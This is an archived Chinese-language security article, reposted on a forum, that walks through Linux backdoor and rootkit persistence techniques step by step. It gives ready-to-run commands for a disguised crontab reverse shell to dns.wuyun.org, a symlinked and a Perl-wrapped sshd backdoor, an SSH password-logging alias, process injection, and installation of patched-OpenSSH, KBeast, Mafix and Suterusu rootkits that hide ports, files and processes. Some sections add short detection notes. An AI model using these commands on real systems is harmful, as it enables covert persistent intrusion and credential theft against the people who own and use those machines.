# Linux Backdoor

Author: 乌云历史资料库 (@wooyun_archive)
Published: 2016-05-16T02:23:00Z
Canonical: https://wepostx.com/topics/250

> 乌云历史资料归档
>
> **原始作者：** L3m0n
> **原始编号：** superkieran-wooyundrops:1198
> **原始发布时间：** 2016-05-16 10:23
> **声明：内容仅用于技术研究和个人使用，版权归 wooyun.org。**

---

# 0x00 前言

前一段时间学习一小部分内网的小笔记，[http://zone.wooyun.org/content/26415](http://zone.wooyun.org/content/26415)
结果没想到好像还是比较受欢迎，也是第一次被劈雷。最近办比赛遇上了rookit种植，感觉很无奈，所以自己也就研究了一下，内容都是一些以前的技术，也是为下面的笔记再次增加一章(windows下的域权限维持可以多看看三好学生师傅的文章)。大牛飘过。
笔记地址：
[https://github.com/l3m0n/pentest_study](https://github.com/l3m0n/pentest_study)
测试环境:centos 6.5

# 0x01 crontab

计划任务,永远的爱
每60分钟反弹一次shell给dns.wuyun.org的53端口

```text
#!bash (crontab -l;printf "*/60 * * * * exec 9<> /dev/tcp/dns.wuyun.org/53;exec 0<&9;exec 1>&9 2>&1;/bin/bash --noprofile -i;\rno crontab for `whoami`%100c\n")|crontab -
```

# 0x02 硬链接sshd

上了防火墙的坑...测试前关闭一下吧

```text
#!bash service iptables stop
```
出现：ssh: connect to host 192.168.206.142 port 2333: No route to host

```text
#!bash ln -sf /usr/sbin/sshd /tmp/su; /tmp/su -oPort=2333; ssh [email protected] -p 2333
```
用root/bin/ftp/mail当用户名,密码任意
后门排查：

```text
#!bash netstat -anopt
```
查找有问题的进程

```text
#!bash ps -ef | grep pid ls -al /tmp/su kill -9 pid rm -rf /tmp/su
```

![原文图片](/media/2016/06/62a08d9db619012e4a78731ff0c6da91)

# 0x03 SSH Server wrapper

条件：开启ssh，如果不连接是没有端口进程的，而且last也看不到

```text
#!bash cd /usr/sbin mv sshd ../bin echo '#!/usr/bin/perl' >sshd echo 'exec "/bin/sh" if (getpeername(STDIN) =~ /^..4A/);' >>sshd echo 'exec {"/usr/bin/sshd"} "/usr/sbin/sshd",@ARGV,' >>sshd chmod u+x sshd //不用重启也行 /etc/init.d/sshd restart
```
kali下的执行

```text
#!bash socat STDIO TCP4:192.168.206.142:22,sourceport=13377
```
对于源端口的修改：

```text
#!python >>> import struct >>> buffer = struct.pack('>I6',19526) >>> print repr(buffer) '\x00\x00LF' >>> buffer = struct.pack('>I6',13377) >>> print buffer 4A
```
后门排查：

```text
#!bash netstat -anopt //查看一下sshd进程情况,如果发现不是/usr/sbin/目录下面,就有问题 ll /proc/1786 cat /usr/sbin/sshd
```

![原文图片](/media/2016/06/ce297866a6b9d78f854605daf6251a43)

还原：

```text
#!bash rm -rf /usr/sbin/sshd; mv /usr/bin/sshd ../sbin;
```

# 0x04 SSH keylogger

vim当前用户下的.bashrc文件,末尾添加

```text
#!bash alias ssh='strace -o /tmp/sshpwd-`date '+%d%h%m%s'`.log -e read,write,connect -s2048 ssh'
```
然后使配置生效

```text
#!bash source .bashrc
```
当本地su或者ssh的时候,就会在tmp下面记录(无论失败成功都有记录)

![原文图片](/media/2016/06/eeaa99893faee9e7ac5a259287ee9ad9)

# 0x05 Cymothoa_进程注入backdoor

很赞的点是注入到的进程,只要有权限就行,然后反弹的也就是进程相应的权限(并不需要root那样),当然进程重启或者挂了也就没了.当然动作也是很明显的。
线程注入：

```text
#!bash ./cymothoa -p 2270 -s 1 -y 7777
```

![原文图片](/media/2016/06/b03a4250ce14f4aaff0b0b10706716fd)

```text
#!bash nc -vv ip 7777
```

# 0x06openssh_rookit

下载地址：[http://core.ipsecs.com/rootkit/patch-to-hack/0x06-openssh-5.9p1.patch.tar.gz](http://core.ipsecs.com/rootkit/patch-to-hack/0x06-openssh-5.9p1.patch.tar.gz)
先patch

```text
#!bash wget http://mirror.corbina.net/pub/OpenBSD/OpenSSH/portable/openssh-5.9p1.tar.gz tar zxvf openssh-5.9p1.tar.gz cp sshbd5.5p1.diff openssh-5.9p1/ cd openssh-5.9p1 patch < sshbd5.9p1.diff
```
安装依赖

```text
#!bash yum install zlib-devel yum install openssl-devel yun install pam-devel yun install krb5-lib(没安装)
```
修改includes.h

![原文图片](/media/2016/06/3675dab6cd0ee2ce46d5660089dd135d)

编译安装再重启sshd服务

```text
#!bash ./configure --prefix=/usr --sysconfdir=/etc/ssh --with-pam --with-kerberos5 make && make install && service sshd restart
```
利用：
会记录登入登出的ssh账号密码(错误的也会记录),配置文件中设置的密码,也可以通过ssh然后root登陆。

![原文图片](/media/2016/06/c54a0d7cca4a96895af57d47683be880)

发现：

![原文图片](/media/2016/06/8e3937777750824a95576e0b0733d0f8)

找到可疑sshd并且查看一下last的登陆ip，最后kill他们的进程,清除暂时不知

# 0x07 Kbeast_rootkit

[http://core.ipsecs.com/rootkit/kernel-rootkit/ipsecs-kbeast-v1.tar.gz](http://core.ipsecs.com/rootkit/kernel-rootkit/ipsecs-kbeast-v1.tar.gz)

```text
#!bash tar -zxvf ipsecs-kbeast-v1.tar.gz cd kbeast-v1/ vi config.h
```
重要配置：

```text
#!cpp //键盘记录 #define _LOGFILE_ "acctlog" //rookit产生的日志配置文件所存储位置(此位置是被隐藏的) #define _H4X_PATH_ "/usr/_h4x_" //telnet端口(端口也是隐藏的,netstat是看不到的) #define _HIDE_PORT_ 23333 //telnet的端口以及返回回来的用户名(必须能调用/sh/bash,否则安装会出现Network Daemon错误) #define _RPASSWORD_ "lolloltest" #define _MAGIC_NAME_ "root"
```
利用：
1、记录：

![原文图片](/media/2016/06/1a6d1beeabcc95230d9c6e87a4b83ee2)

2、telnet连接

![原文图片](/media/2016/06/df3b25fa644c4232f081e9380e586e70)

- 缺点：重启就会失效,需要放入启动项

- 优点：相比上面都是需要ssh相关或者是有一个低权限维持才能发挥的一个后门,这个是直接开放一个独立的端口
发现：其实感觉修改一下进程名,发现还是有点麻烦

![原文图片](/media/2016/06/b3de39454de33f5296c41c5150d21012)

# 0x08 Mafix + Suterusu rookit

1、Mafix

```text
#!bash ./root lolloltest 23333
```
这样就会产生一个端口为23333,root密码也可以用lolloltest登陆的ssh,端口不隐藏

![原文图片](/media/2016/06/bf003ac045ae0bb0b99e36958353bcdc)

这时候就可以用Suterusu配合使用
2、Suterusu
功能表：

```text
#!bash Get root $ ./sock 0 Hide PID $ ./sock 1 [pid] Unhide PID $ ./sock 2 [pid] Hide TCPv4 port $ ./sock 3 [port] Unhide TCPv4 port $ ./sock 4 [port] Hide TCPv6 port $ ./sock 5 [port] Unhide TCPv6 port $ ./sock 6 [port] Hide UDPv4 port $ ./sock 7 [port] Unhide UDPv4 port $ ./sock 8 [port] Hide UDPv6 port $ ./sock 9 [port] Unhide UDPv6 port $ ./sock 10 [port] Hide file/directory $ ./sock 11 [name] Unhide file/directory $ ./sock 12 [name]
```
编译：

```text
#!bash make linux-x86 KDIR=/lib/modules/$(uname -r)/build gcc sock.c -o sock //加载模块 insmod suterusu.ko
```
结合Mafix使用(隐藏端口):

```text
#!bash ./sock 3 [port]
```

![原文图片](/media/2016/06/d6a66590fb54ae0303bad81a662bf601)

# 0x09 参考资料

- [https://www.aldeid.com/wiki/Cymothoa](https://www.aldeid.com/wiki/Cymothoa)

- [http://phrack.org/issues/68/9.html](http://phrack.org/issues/68/9.html)

- [http://www.joychou.org/index.php/web/ssh-backdoor.html](http://www.joychou.org/index.php/web/ssh-backdoor.html)

## Replies
